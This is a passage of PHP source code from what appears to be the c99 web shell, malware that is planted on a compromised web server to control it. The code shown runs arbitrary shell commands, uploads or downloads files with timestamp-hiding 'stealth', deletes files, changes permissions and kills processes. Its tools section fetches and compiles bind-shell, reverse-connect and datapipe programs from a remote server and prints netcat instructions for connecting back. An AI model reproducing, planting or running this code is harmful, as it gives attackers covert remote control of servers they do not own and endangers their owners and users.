name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text <br><br><input type=submit name=submit value=\"Search\"></form>"; if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} } if ($act == "chmod") { $mode = fileperms($d.$f); if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} else { $form = TRUE; if ($chmod_submit) { $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} else {$err = "Can't chmod to ".$octet.".";} } if ($form) { $perms = parse_perms($mode); echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; } } } if ($act == "upload") { $uploadmess = ""; $uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath); if (empty($uploadpath)) {$uploadpath = $d;} elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} if (!empty($submit)) { global $HTTP_POST_FILES; $uploadfile = $HTTP_POST_FILES["uploadfile"]; if (!empty($uploadfile["tmp_name"])) { if (empty($uploadfilename)) {$destin = $uploadfile["name"];} else {$destin = $userfilename;} if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} } elseif (!empty($uploadurl)) { if (!empty($uploadfilename)) {$destin = $uploadfilename;} else { $destin = explode("/",$destin); $destin = $destin[count($destin)-1]; if (empty($destin)) { $i = 0; $b = ""; while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} } if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} else { $st = getmicrotime(); $content = @file_get_contents($uploadurl); $dt = round(getmicrotime()-$st,4); if (!$content) {$uploadmess .= "Can't download file!<br>";} else { if ($filestealth) {$stat = stat($uploadpath.$destin);} $fp = fopen($uploadpath.$destin,"w"); if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} else { fwrite($fp,$content,strlen($content)); fclose($fp); if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} } } } } } if ($miniform) { echo "<b>".$uploadmess."</b>"; $act = "ls"; } else { echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" method=POST><input type=\"hidden\" name=\"act\" value=\"upload\"><input type=\"hidden\" name=\"d\" value=\"".urlencode($d)."\"> Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> File-name (auto-fill): <input name=uploadfilename size=25><br><br> <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> <input type=submit name=submit value=\"Upload\"> </form>"; } } if ($act == "delete") { $delerr = ""; foreach ($actbox as $v) { $result = FALSE; $result = fs_rmobj($v); if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} } if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} $act = "ls"; } if (!$usefsbuff) { if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} } else { if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} $act = "ls"; } elseif ($actarcbuff) { $arcerr = ""; if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} else {$ext = ".tar.gz";} if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} $cmdline .= " ".$actarcbuff_path; $objects = array_merge($sess_data["copy"],$sess_data["cut"]); foreach($objects as $v) { $v = str_replace("\",DIRECTORY_SEPARATOR,$v); if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} if (is_dir($v)) { if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} $v .= "*"; } $cmdline .= " ".$v; } $tmp = realpath("."); chdir($d); $ret = myshellexec($cmdline); chdir($tmp); if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} $ret = str_replace("
","
",$ret); $ret = explode("
",$ret); if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} foreach($sess_data["cut"] as $k=>$v) { if (in_array($v,$ret)) {fs_rmobj($v);} unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} $act = "ls"; } elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} $act = "ls"; } } if ($act == "cmd") { if (trim($cmd) == "ps -aux") {$act = "processes";} elseif (trim($cmd) == "tasklist") {$act = "processes";} else { @chdir($chdir); if (!empty($submit)) { echo "<b>Result of execution this command</b>:<br>"; $olddir = realpath("."); @chdir($d); $ret = myshellexec($cmd); $ret = convert_cyr_string($ret,"d","w"); if ($cmd_txt) { $rows = count(explode("
",$ret))+1; if ($rows < 10) {$rows = 10;} echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; } else {echo $ret."<br>";} @chdir($olddir); } else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} echo "<form method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; } } if ($act == "ls") { if (count($ls_arr) > 0) {$list = $ls_arr;} else { $list = array(); if ($h = @opendir($d)) { while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} closedir($h); } else {} } if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} else { $objects = array(); $vd = "f"; if ($vd == "f") { $objects["head"] = array(); $objects["folders"] = array(); $objects["links"] = array(); $objects["files"] = array(); foreach ($list as $v) { $o = basename($v); $row = array(); if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} elseif (is_dir($v)) { if (is_link($v)) {$type = "LINK";} else {$type = "DIR";} $row[] = $v; $row[] = $type; } elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} $row[] = filemtime($v); if (!$win) { $ow = posix_getpwuid(fileowner($v)); $gr = posix_getgrgid(filegroup($v)); $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); } $row[] = fileperms($v); if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} elseif (is_link($v)) {$objects["links"][] = $row;} elseif (is_dir($v)) {$objects["folders"][] = $row;} elseif (is_file($v)) {$objects["files"][] = $row;} $i++; } $row = array(); $row[] = "<b>Name</b>"; $row[] = "<b>Size</b>"; $row[] = "<b>Modify</b>"; if (!$win) {$row[] = "<b>Owner/Group</b>";} $row[] = "<b>Perms</b>"; $row[] = "<b>Action</b>"; $parsesort = parsesort($sort); $sort = $parsesort[0].$parsesort[1]; $k = $parsesort[0]; if ($parsesort[1] != "a") {$parsesort[1] = "d";} $y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$k.($parsesort[1] == "a"?"d":"a").";document.todo.submit();\">"; $row[$k] .= $y; for($i=0;$i<count($row)-1;$i++) { if ($i != $k) {$row[$i] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$i.$parsesort[1]."';document.todo.submit();\">".$row[$i]."</a>";} } $v = $parsesort[0]; usort($objects["folders"], "tabsort"); usort($objects["links"], "tabsort"); usort($objects["files"], "tabsort"); if ($parsesort[1] == "d") { $objects["folders"] = array_reverse($objects["folders"]); $objects["files"] = array_reverse($objects["files"]); } $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); $tab = array(); $tab["cols"] = array($row); $tab["head"] = array(); $tab["folders"] = array(); $tab["links"] = array(); $tab["files"] = array(); $i = 0; foreach ($objects as $a) { $v = $a[0]; $o = basename($v); $dir = dirname($v); if ($disp_fullpath) {$disppath = $v;} else {$disppath = $o;} $disppath = str2mini($disppath,60); if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} foreach ($regxp_highlight as $r) { if (ereg($r[0],$o)) { if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} else { $r[1] = round($r[1]); $isdir = is_dir($v); if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} $disppath = $r[2].$disppath.$r[3]; if ($r[4]) {break;} } } } } $uo = urlencode($o); $ud = urlencode($dir); $uv = urlencode($v); $row = array(); if ($o == ".") { $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>"; $row[] = "LINK"; } elseif ($o == "..") { $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>"; $row[] = "LINK"; } elseif (is_dir($v)) { if (is_link($v)) { $disppath .= " => ".readlink($v); $type = "LINK"; $row[] = "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>"; } else { $type = "DIR"; $row[] = "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>"; } $row[] = $type; } elseif(is_file($v)) { $ext = explode(".",$o); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $row[] = "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.d.value='".$ud."';document.todo.f.value='".$uo."';document.todo.submit();\">".$disppath."</a>"; $row[] = view_size($a[1]); } $row[] = date("d.m.Y H:i:s",$a[2]); if (!$win) {$row[] = $a[3];} $row[] = "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".$ud."';document.todo.f.value='".$uo."';document.todo.submit();\"><b>".view_perms_color($v)."</b></a>"; if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} if (is_dir($v)){$row[] = "<a href=\"#\" onclick=\"document.todo.act.value='d';document.todo.d.value='".$uv."';document.todo.submit();\">I</a>&nbsp;".$checkbox;} else {$row[] = "<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='info';document.todo.d.value='".$ud."';document.todo.submit();\">I</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='edit';document.todo.d.value='".$ud."';document.todo.submit();\">E</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='download';document.todo.d.value='".$ud."';document.todo.submit();\">D</a>&nbsp;".$checkbox;} if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} elseif (is_link($v)) {$tab["links"][] = $row;} elseif (is_dir($v)) {$tab["folders"][] = $row;} elseif (is_file($v)) {$tab["files"][] = $row;} $i++; } } $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; foreach($table as $row) { echo "<tr>
"; foreach($row as $v) {echo "<td>".$v."</td>
";} echo "</tr>
"; } echo "</table><hr size=\"1\" noshade><p align=\"right\"> <script> function ls_setcheckboxall(status) { var id = 0; var num = ".(count($table)-2)."; while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; } } function ls_reverse_all() { var id = 0; var num = ".(count($table)-2)."; while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; } } </script> <input type=\"button\" onclick=\"ls_setcheckboxall(1);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(0);\" value=\"Unselect all\"><b>"; if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; } echo "<select name=act><option value=\"".$act."\">With selected:</option>"; echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; if ($usefsbuff) { echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; } echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; echo "</form>"; } } if ($act == "tools") { $bndportsrcs = array( "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"), "c99sh_bindport.c"=>array("Using C","%path %port %pass") ); $bcsrcs = array( "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), "c99sh_backconn.c"=>array("Using C","%path %host %port") ); $dpsrcs = array( "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") ); if (!is_array($bind)) {$bind = array();} if (!is_array($bc)) {$bc = array();} if (!is_array($datapipe)) {$datapipe = array();} if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} if (!empty($bindsubmit)) { echo "<b>Result of binding port:</b><br>"; $v = $bndportsrcs[$bind["src"]]; if (empty($v)) {echo "Unknown file!<br>";} elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} else { $w = explode(".",$bind["src"]); $ext = $w[count($w)-1]; unset($w[count($w)-1]); $srcpath = join(".",$w).".".rand(0,999).".".$ext; $binpath = $tmpdir.join(".",$w).rand(0,999); if ($ext == "pl") {$binpath = $srcpath;} @unlink($srcpath); $fp = fopen($srcpath,"ab+"); if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";} else { fwrite($fp,$data,strlen($data)); fclose($fp); if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} $v[1] = str_replace("%path",$binpath,$v[1]); $v[1] = str_replace("%port",$bind["port"],$v[1]); $v[1] = str_replace("%pass",$bind["pass"],$v[1]); $v[1] = str_replace("//","/",$v[1]); $retbind = myshellexec($v[1]." > /dev/null &"); sleep(5); $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"#\" onclick=\"document.todo.act.value='processes';document.todo.grep.value='".basename($binpath)."';document.todo.submit();\"><u>View binder's process</u></a></center>";} } echo "<br>"; } } if (!empty($bcsubmit)) { echo "<b>Result of back connection:</b><br>"; $v = $bcsrcs[$bc["src"]]; if (empty($v)) {echo "Unknown file!<br>";} else { $w = explode(".",$bc["src"]); $ext = $w[count($w)-1]; unset($w[count($w)-1]); $srcpath = join(".",$w).".".rand(0,999).".".$ext; $binpath = $tmpdir.join(".",$w).rand(0,999); if ($ext == "pl") {$binpath = $srcpath;} @unlink($srcpath); $fp = fopen($srcpath,"ab+"); if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";} else { fwrite($fp,$data,strlen($data)); fclose($fp); if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} $v[1] = str_replace("%path",$binpath,$v[1]); $v[1] = str_replace("%host",$bc["host"],$v[1]); $v[1] = str_replace("%port",$bc["port"],$v[1]); $v[1] = str_replace("//","/",$v[1]); $retbind = myshellexec($v[1]." > /dev/null &"); echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; } } } if (!empty($dpsubmit)) { echo "<b>Result of datapipe-running:</b><br>"; $v = $dpsrcs[$datapipe["src"]]; if (empty($v)) {echo "Unknown file!<br>";} elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} else { $srcpath = $tmpdir.$datapipe["src"]; $w = explode(".",$datapipe["src"]); $ext = $w[count($w)-1]; unset($w[count($w)-1]); $srcpath = join(".",$w).".".rand(0,999).".".$ext; $binpath = $tmpdir.join(".",$w).rand(0,999); if ($ext == "pl") {$binpath = $srcpath;} @unlink($srcpath); $fp = fopen($srcpath,"ab+"); if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";} else { fwrite($fp,$data,strlen($data)); fclose($fp); if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); $v[1] = str_replace("%path",$binpath,$v[1]); $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); $v[1] = str_replace("//","/",$v[1]); $retbind = myshellexec($v[1]." > /dev/null &"); sleep(5); $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"#\" onclick=\"document.todo.act.value='processes';document.todo.grep.value='".basename($binpath)."';document.todo.submit();\"><u>View datapipe process</u></a></center>";} } echo "<br>"; } } echo"<b>Binding port:</b><br><form method=\"POST\"><input type=hidden name=act value=tools><input type=hidden name=d value=\"{$d}\">Port: <input type=text name=\"bind[port]\" value=\"".htmlspecialchars($bind["port"])."\">&nbsp;Password: <input type=text name=\"bind[pass]\" value=\"".htmlspecialchars($bind["pass"])."\">&nbsp;<select name=\"bind[src]\">"; foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} echo"</select>&nbsp;<input type=submit name=bindsubmit value=\"Bind\"></form><b>Back connection:</b><br><form method=\"POST\"><input type=hidden name=act value=tools><input type=hidden name=d value=\"{$d}\">HOST: <input type=text name=\"bc[host]\" value=\"".htmlspecialchars($bc["host"])."\">&nbsp;Port: <input type=text name=\"bc[port]\" value=\"".htmlspecialchars($bc["port"])."\">&nbsp;<select name=\"bc[src]\">"; foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} echo"</select>&nbsp;<input type=submit name=bcsubmit value=\"Connect\"></form>Click \"Connect\" only after open port for it. You should use NetCat&copy;, run \"<b>nc -l -n -v -p {$bc_port}</b>\"!<br><br><b>Datapipe:</b><br><form method=\"POST\"><input type=hidden name=act value=tools><input type=hidden name=d value=\"{$d}\">HOST: <input type=text name=\"datapipe[remoteaddr]\" value=\"".htmlspecialchars($datapipe["remoteaddr"])."\">&nbsp;Local port: <input type=text name=\"datapipe[localport]\" value=\"".htmlspecialchars($datapipe["localport"])."\">&nbsp;<select name=\"datapipe[src]\">"; foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} echo"</select>&nbsp;<input type=submit name=dpsubmit value=\"Run\"></form><b>Note:</b> sources will be downloaded from remote server."; } if ($act == "processes") { echo "<b>Processes:</b><br>"; if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} else {$handler = "tasklist";} $ret = myshellexec($handler); if (!$ret) {echo "Can't execute \"".$handler."\"!";} else { if (empty($processes_sort)) {$processes_sort = $sort_default;} $parsesort = parsesort($processes_sort); if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} $k = $parsesort[0]; if ($parsesort[1] != "a") {$y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.processes_sort.value='".$k."a\"';document.todo.submit();\">!</a>";} else {$y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.processes_sort.value='".$k."d\"';document.todo.submit();\">!</a>";} $ret = htmlspecialchars($ret); if (!$win) { if ($pid) { if (is_null($sig)) {$sig = 9;} echo "Sending signal ".$sig." to #".$pid."... "; if (posix_kill($pid,$sig)) {echo "OK.";} else {echo "ERROR.";} } while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} $stack = explode("
",$ret); $head = explode(" ",$stack[0]); unset($stack[0]); for($i=0;$i<count($head);$i++) { if ($i != $k) {$head[$i] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.processes_sort.value='".$i.$parsesort[1]."';document.todo.submit();\"><b>".$head[$i]."</b></a>";} } $prcs = array(); foreach ($stack as $line) { if (!empty($line)) { echo "<tr>"; $line = explode(" ",$line); $line[10] = join(" ",array_slice($line,10)); $line = array_slice($line,0,11); if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} $line[] = "<a href=\"#\" onclick=\"document.todo.act.value='processes';document.todo.d.value='".urlencode($d)."';document.todo.pid.value='".$line[1]."';document.todo.sig.value='9';document.todo.submit();\"><u>KILL</u></a>"; $prcs[] = $line; echo "</tr>"; } } } else { while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} $ret = 